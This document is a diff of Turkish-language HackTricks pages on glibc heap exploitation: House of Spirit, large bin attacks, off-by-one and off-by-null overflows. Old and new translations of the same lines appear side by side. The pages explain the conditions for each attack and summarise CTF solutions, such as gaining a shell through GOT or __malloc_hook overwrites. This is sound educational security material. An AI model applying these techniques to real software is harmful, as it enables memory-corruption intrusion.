**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html)**'dan kod, saldırıyı anlamak için harika.** Bununla birlikte, kodun bu şeması oldukça iyi özetliyor:
```c
/*
this will be the structure of our two fake chunks:
@ -111,28 +112,29 @@ Not: Bazı sağlamlık kontrollerini atlatmak için ikinci parçayı oluşturmak
## Örnekler
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
* **Libc bilgi sızıntısı**: Taşma yoluyla bir işaretçiyi GOT adresine işaret etmek mümkün hale gelir ve CTF'nin okuma işlemi aracılığıyla bir libc adresi sızdırılabilir.
* **House of Spirit**: "Tüfeklerin" sayısını sayan bir sayaçtan yararlanarak ilk sahte parça için sahte bir boyut oluşturmak mümkündür, ardından bir "mesajı" kötüye kullanarak bir parçanın ikinci boyutunu sahteleştirmek mümkündür ve son olarak bir taşma kötüye kullanılarak serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Daha sonra bunu tahsis edebilir ve içinde "mesaj"ın depolandığı adres olacaktır. Ardından, bunu GOT tablosundaki `scanf` girişine işaret etmesi mümkün olacak şekilde yapmak mümkündür, böylece onu sistem adresiyle üzerine yazabiliriz.\
* **Libc bilgi sızıntısı**: Taşma yoluyla bir işaretçiyi GOT adresine yönlendirerek, CTF'nin okuma işlemi aracılığıyla bir libc adresi sızdırmak mümkündür.
* **House of Spirit**: "Tüfeklerin" sayısını sayan bir sayaçıyı istismar ederek, ilk sahte parça için sahte bir boyut oluşturmak mümkündür, ardından bir "mesajı" istismar ederek, bir parçanın ikinci boyutunu sahteleştirmek mümkündür ve son olarak bir taşma istismar edilerek, serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Daha sonra bunu tahsis edebilir ve içinde "mesaj"ın depolandığı adres olacaktır. Ardından, bunu GOT tablosundaki `scanf` girişine işaret etmesi mümkün olacak şekilde yapabiliriz, böylece onu sistem adresiyle üzerine yazabiliriz.\
Bir sonraki `scanf` çağrıldığında, girişi `"/bin/sh"` olarak gönderebilir ve bir kabuk alabiliriz.
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
* **Glibc sızıntısı**: Başlatılmamış yığın tamponu.
* **House of Spirit**: Bir küresel yığın işaretçiler dizisinin ilk indisini değiştirebiliriz. Bir tek bayt değişikliği ile geçerli bir parçanın içinde sahte bir parçada `free` kullanarak, tekrar tahsis edildikten sonra örtüşen parçalar durumu elde ederiz. Böylece, basit bir Tcache zehirlenme saldırısı, keyfi yazma yetkisi elde etmek için çalışır.
* **House of Spirit**: Bir küresel yığın işaretçiler dizisinin ilk indeksini değiştirebiliriz. Bir tek bayt değişikliği ile geçerli bir parçanın içinde sahte bir parçada `free` kullanarak, tekrar tahsis edildikten sonra örtüşen parçalar durumu elde ederiz. Böylece, basit bir Tcache zehirlenme saldırısı, keyfi yazma yetkisi elde etmek için çalışır.
## Referanslar
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.**
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Büyük Bin Saldırısı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
</details>
{% endhint %}
## Temel Bilgiler
Büyük bir binin ne olduğu hakkında daha fazla bilgi için bu sayfaya bakın:
Bir büyük binin ne olduğu hakkında daha fazla bilgi için bu sayfaya bakın:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Büyük bir bin saldırısının harika bir örneğini [**how2heap - büyük bin saldırısı**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c) sayfasında bulabilirsiniz.
[**how2heap - büyük bin saldırısı**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c) sayfasında harika bir örnek bulunabilir.
Temelde burada, en son "güncel" glibc sürümünde (2.35), **`P->bk_nextsize`** kontrol edilmediği için belirli koşullar sağlandığında büyük bir bin parçasının değeriyle bir adresin değiştirilebileceğini görebilirsiniz.
Temelde burada, en son "güncel" glibc sürümünde (2.35), **`P->bk_nextsize`** kontrol edilmediği için belirli koşullar sağlandığında büyük bir bin parçasının değeri ile bir adresin değiştirilebileceğini görebilirsiniz.
Bu örnekte aşağıdaki koşulları bulabilirsiniz:
* Büyük bir parça tahsis edilir
* İlk parçadan daha küçük ancak aynı dizindeki başka bir büyük parça tahsis edilir
* Bir büyük parça tahsis edilir
* İlk parçadan daha küçük ancak aynı dizindeki bir büyük parça tahsis edilir
* Binde ilk sıraya gitmesi gerektiği için daha küçük olmalıdır
* (Üst parçayla birleşmeyi önlemek için bir parça oluşturulur)
* Ardından, ilk büyük parça serbest bırakılır ve ondan daha büyük yeni bir parça tahsis edilir -> Parça1 büyük bine gider
* Ardından, ikinci büyük parça serbest bırakılır
* Şimdi, zafiyet: Saldırgan, `chunk1->bk_nextsize`'ı `[hedef-0x20]` olarak değiştirebilir
* Daha sonra, 2. parçadan daha büyük bir parça tahsis edilir, bu nedenle parça2, büyük binde `chunk1->bk_nextsize->fd_nextsize` adresini parça2'nin adresiyle üzerine yazarak eklenir
* Şimdi, zafiyet: Saldırgan `chunk1->bk_nextsize`'ı `[hedef-0x20]` olarak değiştirebilir
* Ardından, chunk 2'den daha büyük bir parça tahsis edilir, bu nedenle chunk2, adresi `chunk1->bk_nextsize->fd_nextsize`'ı chunk2'nin adresi ile üzerine yazarak büyük bine eklenir
{% hint style="success" %}
Diğer potansiyel senaryolar da vardır, önemli olan, büyük bir bindeki mevcut X parçadan **daha küçük** bir parçayı büyük bine eklemektir, bu nedenle binde doğrudan ondan önce eklenmesi gerekmektedir ve X'in **`bk_nextsize`**'ını değiştirebilmemiz gerekmektedir çünkü daha küçük parçanın adresi oraya yazılacaktır.
Diğer potansiyel senaryolar bulunmaktadır, önemli olan, büyük bine, bir mevcut X parçadan **daha küçük** bir parça eklemektir, bu nedenle binde X'ten hemen önce eklenmesi gerekmekte ve X'in **`bk_nextsize`**'ını değiştirebilmemiz gerekmektedir çünkü daha küçük parçanın adresinin yazılacağı yer burasıdır.
{% endhint %}
Bu, malloc'tan ilgili kod parçacığıdır. Adresin nasıl üzerine yazıldığını daha iyi anlamak için yorumlar eklenmiştir:
Bu, malloc'tan ilgili kod parçalarıdır. Adresin nasıl üzerine yazıldığını daha iyi anlamak için yorumlar eklenmiştir:
{% code overflow="wrap" %}
```c
@ -70,16 +71,17 @@ Bu saldırının başka harika bir açıklamasını [**guyinatuxedo**](https://g
* Yazma ilkesi daha karmaşıktır, çünkü burada `global_max_fast` işe yaramaz.
* Sömürüyü bitirmek için FSOP gereklidir.
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Bir birim taşma
# Bir birim aşımı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Yalnızca 1B taşma erişimi olan bir saldırganın, bir sonraki parçanın `boyut` alanını değiştirmesine olanak tanır. Bu, hangi parçaların gerçekten serbest bırakıldığını değiştirmeyi sağlar, potansiyel olarak başka bir meşru parçayı içeren bir parça oluşturabilir. Sömürü, [çift serbest bırakma](double-free.md) veya parçaların üst üste binmesiyle benzerdir.
Yalnızca 1B ımına erişim sağlamak, saldırganın bir sonraki parçanın `size` alanını değiştirmesine olanak tanır. Bu, hangi parçaların gerçekten serbest bırakıldığını değiştirmeyi sağlar ve potansiyel olarak başka bir meşru parçayı içeren bir parça oluşturabilir. Sömürü, [çift serbest bırakma](double-free.md) veya parçaların üst üste binmesiyle benzerdir.
İki tür bir birim taşma zafiyeti vardır:
Bir birim aşımı zafiyetinin 2 türü vardır:
* Keyfi bayt: Bu tür, o baytı herhangi bir değerle üzerine yazmayı sağlar
* Null baytı (off-by-null): Bu tür, o baytı yalnızca 0x00 ile üzerine yazmayı sağlar
* Bu zafiyetin yaygın bir örneği, `strlen` ve `strcpy` davranışının tutarsız olduğu aşağıdaki kodda görülebilir, bu da bir sonraki parçanın başında 0x00 baytını ayarlamayı sağlar.
* Bu zafiyetin yaygın bir örneği, `strlen` ve `strcpy` işlevlerinin tutarsız davranışının görüldüğü aşağıdaki kodda görülebilir, bu da bir sonraki parçanın başında 0x00 baytını ayarlamayı mümkün kılar.
* Bu, [House of Einherjar](house-of-einherjar.md) ile sömürülebilir.
* Tcache kullanılıyorsa, bu [çift serbest bırakma](double-free.md) durumuna dönüştürülebilir.
* Tcache kullanılıyorsa, bu [çift serbest bırakma](double-free.md) durumuna dönüştürülebilir.
<details>
@ -47,13 +48,13 @@ return 0;
```
</details>
Diğer kontroller arasında, artık bir parça serbest bırakıldığında önceki boyut, metadatadaki parçanın yapılandırılan boyutuyla karşılaştırılır, bu saldırı 2.28 sürümden itibaren oldukça karmaşık hale getirir.
Diğer kontroller arasında, artık bir parça serbest bırakıldığında önceki boyut, metadatadaki parçanın yapılandırılmış boyutuyla karşılaştırılır, bu saldırı 2.28 sürümden itibaren oldukça karmaşık hale getirir.
### Kod örneği:
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
* Bu saldırı artık Tcaches kullanıldığından çalışmamaktadır.
* Ayrıca, daha büyük parçalar kullanarak (bu durumda Tcaches devreye girmediği için) kötüye kullanmaya çalışırsanız, hata alırsınız: `malloc(): invalid next size (unsorted)`
* Bu saldırı artık Tcache'lerin kullanımı nedeniyle çalışmıyor.
* Ayrıca, daha büyük parçalar kullanarak (bu durumda Tcache'lerin dahil olmadığı) kötüye kullanmaya çalışırsanız, hata alırsınız: `malloc(): invalid next size (unsorted)`
### Amaç
@ -61,23 +62,23 @@ Diğer kontroller arasında, artık bir parça serbest bırakıldığında önce
### Gereksinimler
* Boyut metadatası bilgisini değiştirmek için bir adet yanlışlıkla bir taşma
* Boyut metadatası bilgisini değiştirmek için bir fazla bir taşma
### Genel off-by-one saldırısı
* Üç parça `A`, `B` ve `C` (örneğin boyutları 0x20) tahsis edilir ve üst parçayla birleşmeyi önlemek için başka bir parça tahsis edilir.
* `C` serbest bırakılır (0x20 Tcache serbest listesine eklendi).
* Parça `A`yı `B` üzerine taşır. `B`nin `size` alanını 0x21'den 0x41'e değiştirmek için yanlışlıkla bir taşma kötüye kullanılır.
* Şimdi `B`, serbest parça `C`'yi içeriyor
* `B` serbest bırakılır ve 0x40 parça tahsis edilir (buraya tekrar yerleştirilecektir)
* Parça `A`yı `B` üzerine taşır. `B`nin `size` alanını 0x21'den 0x41'e değiştirmek için fazla bir taşmayı kötüye kullanın.
* Şimdi `B`, serbest parça `C`yi içeriyor
* `B`'yi serbest bırakın ve 0x40 parça tahsis edin (buraya tekrar yerleştirilecektir)
* Hala serbest olan `C`nin `fd` işaretçisini değiştirebiliriz (Tcache zehirlenmesi)
### Off-by-null saldırısı
* Bellekte üç parça (a, b, c) ardışık olarak ayrılır. Sonra ortadaki parça serbest bırakılır. İlk parça bir yanlışlıkla bir taşma açığı içerir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki bayt 0x10 ise, ortadaki parçanın gerçekten olduğundan 0x10 daha küçük olduğunu gösterir).
* Sonra, ortadaki serbest bırakılan parçaya (b) 2 daha küçük parça tahsis edilir, ancak `b + b->size` asla c parçasını güncellemez çünkü işaret edilen adres olması gereken adresten daha küçüktür.
* Sonra, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'yi (şimdi b1) işaret ettiği için, her ikisi de bir parçada birleştirilir. Ancak, b2 hala b1 ve c arasında içindedir.
* Son olarak, bu bellek alanını geri kazanmak için yeni bir malloc işlemi gerçekleştirilir ve bu aslında b2'yi içerecek şekilde olacaktır, yeni malloc'un sahibine b2'nin içeriğini kontrol etme olanağı tanır.
* Bellekten üç parça (a, b, c) sırayla ayrılır. Ardından ortadaki parça serbest bırakılır. İlk parça fazla bir taşma açığı içerir ve saldırgan bunu 0x00 ile kötüye kullanır (önceki bayt 0x10 ise, ortadaki parçanın gerçekten olduğundan 0x10 daha küçük olduğunu gösterir).
* Daha sonra, ortadaki serbest bırakılan parçaya (b) 2 daha küçük parça tahsis edilir, ancak `b + b->size` ifadesi c parçasını güncellemez çünkü işaret edilen adres olması gereken adresten daha küçüktür.
* Daha sonra, b1 ve c serbest bırakılır. `c - c->prev_size` hala b'yi (şimdi b1) işaret ettiği için, her ikisi de bir parçada birleştirilir. Ancak, b2 hala b1 ve c arasında içindedir.
* Son olarak, bu bellek alanını geri kazanmak için yeni bir malloc işlemi gerçekleştirilir ve bu aslında b2'yi içerecek şekilde olacaktır, bu da yeni malloc sahibinin b2 içeriğini kontrol etmesine olanak tanır.
Bu resim saldırıyı mükemmel bir şekilde açıklar:
@ -87,49 +88,51 @@ Bu resim saldırıyı mükemmel bir şekilde açıklar:
* [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
* [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
* `strlen`'in bir sonraki parçanın `size` alanını düşünmesinden kaynaklanan bir off-by-one.
* Tcache kullanılıyor, bu nedenle genel off-by-one saldırıları, Tcache zehirlenmesi ile keyfi yazma işlemi elde etmek için çalışır.
* `strlen`'in bir sonraki parçanın `size` alanını düşünerek bir off-by-one hatası oluşturması.
* Tcache kullanılıyor, bu nedenle genel off-by-one saldırıları, Tcache zehirlenmesi ile keyfi yazma işlemine izin vermek için çalışır.
* [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks)
* Bir off-by-one'ı kötüye kullanarak bir adres sızdırmak mümkündür çünkü bir dizenin sonundaki 0x00 baytı bir sonraki alan tarafından üzerine yazılır.
* Keyfi yazma, işaretçiyi başka bir yere işaret etmek için off-by-one yazmayı kötüye kullanarak elde edilir. Ardından, bu işaretçinin işaret ettiği yapının işaretçisini takip ederek keyfi yazma elde etmek mümkündür.
* Libc adresi sızdırılır çünkü heap mmap kullanılarak genişletildiğinde, mmap tarafından ayrılan belleğin libc'den sabit bir ofseti vardır.
* Keyfi yazma, işaretçiyi başka bir yere işaret etmek için off-by-one yazmayı kötüye kullanarak yapılır ve sahte işaretçilerle sahte bir yapı oluşturulur. Daha sonra, bu yapının işaretçisini takip ederek keyfi yazma elde etmek mümkündür.
* Libc adresi sızdırılır çünkü heap, mmap kullanılarak genişletildiğinde, mmap tarafından ayrılan belleğin libc'ten sabit bir ofseti vardır.
* Son olarak, keyfi yazma, \_\_free\_hook adresine bir tane araçla yazmak için kötüye kullanılır.
* [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb)
* Kullanıcı giriş satırlarını okuyan `getline` işlevinde NULL off-by-one bir zayıflık vardır. Bu işlev, içeriğin "anahtarını" okumak için kullanılır.
* Kullanıcı giriş satırlarını okuyan `getline` işlevinde NULL off-by-one bir zafiyet bulunmaktadır. Bu işlev, içeriğin "anahtarını" okumak için kullanılır.
* 5 başlangıç parçası oluşturulur:
* parça1 (0x200)
* parça2 (0x50)
* parça5 (0x68)
* parça3 (0x1f8)
* parça4 (0xf0)
* parça savunması (0x400) üst parçayla birleşmeyi önlemek için
* parça savunması (0x400), üst parçayla birleşmeyi önlemek için
* Ardından parça 1, 5 ve 3 serbest bırakılır, böylece:
* ```python
[ 0x200 Parça 1 (serbest) ] [ 0x50 Parça 2 ] [ 0x68 Parça 5 (serbest) ] [ 0x1f8 Parça 3 (serbest) ] [ 0xf0 Parça 4 ] [ 0x400 Parça savunması ]
```
* Sonra, parça3 (0x1f8) kötüye kullanılarak null off-by-one, prev\_size'ın `0x4e0` olarak yazılması kötüye kullanılır.
* Daha sonra, parça3 (0x1f8) kötüye kullanılarak null off-by-one, prev\_size'ın `0x4e0` olarak yazılmasını sağlar.
* Başlangıçta tahsis edilen parça1, 2, 5 ve 3'ün boyutlarının ve bu parçaların başlıklarının toplamının `0x4e0`'a eşit olduğuna dikkat edin: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
* Sonra, parça 4 serbest bırakılır, tüm parçaları başlangıca kadar tüketen bir parça oluşturur:
* Ardından, parça 4 serbest bırakılır, tüm parçaları başlangıca kadar tüketen bir parça oluşturur:
* ```python
[ 0x4e0 Parça 1-2-5-3 (serbest) ] [ 0xf0 Parça 4 (bozuk) ] [ 0x400 Parça savunması ]
```
* ```python
[ 0x200 Parça 1 (serbest) ] [ 0x50 Parça 2 ] [ 0x68 Parça 5 (serbest) ] [ 0x1f8 Parça 3 (serbest) ] [ 0xf0 Parça 4 ] [ 0x400 Parça savunması ]
```
* Sonra, `0x200` bayt tahsis edilir ve orijinal parça 1 doldurulur
* Daha sonra, `0x200` bayt tahsis edilir ve orijinal parça 1 doldurulur
* Ve başka 0x200 bayt tahsis edilir ve parça2 yok edilir ve dolayısıyla hiçbir sızıntı yok ve bu işe yaramaz mı? Belki bunun yapılması gerekmeyebilir
* Sonra, 0x58 "a" ile başka bir parça tahsis edilir (parça2'yi üzerine yazarak parça5'e ulaşır) ve parça5'in hızlı bin parçasının `fd`si `__malloc_hook`'a işaret edecek şekilde değiştirilir
* Sonra, 0x68'lik bir parça tahsis edilir, böylece `__malloc_hook`'taki sahte hızlı bin parçası, takip eden hızlı bin parçasıdır
* Daha sonra, 0x58 "a" ile başka bir parça tahsis edilir (parça2'yi üzerine yazarak parça5'e ulaşır) ve parça5'in hızlı bin parçasının `__malloc_hook`'a işaret eden `fd`si değiştirilir
* Son olarak, 0x68'lik yeni bir hızlı bin parçası tahsis edilir ve `__malloc_hook` bir `one_gadget` adresiyle üzerine yazılır
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacker hilelerini göndererek PR'ler aracılığıyla paylaşın** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi göndererek PR'ler oluşturarak paylaşın** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
{% endhint %}

View file

@ -1,47 +1,49 @@
# Serbest bir parçayı üzerine yazma
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
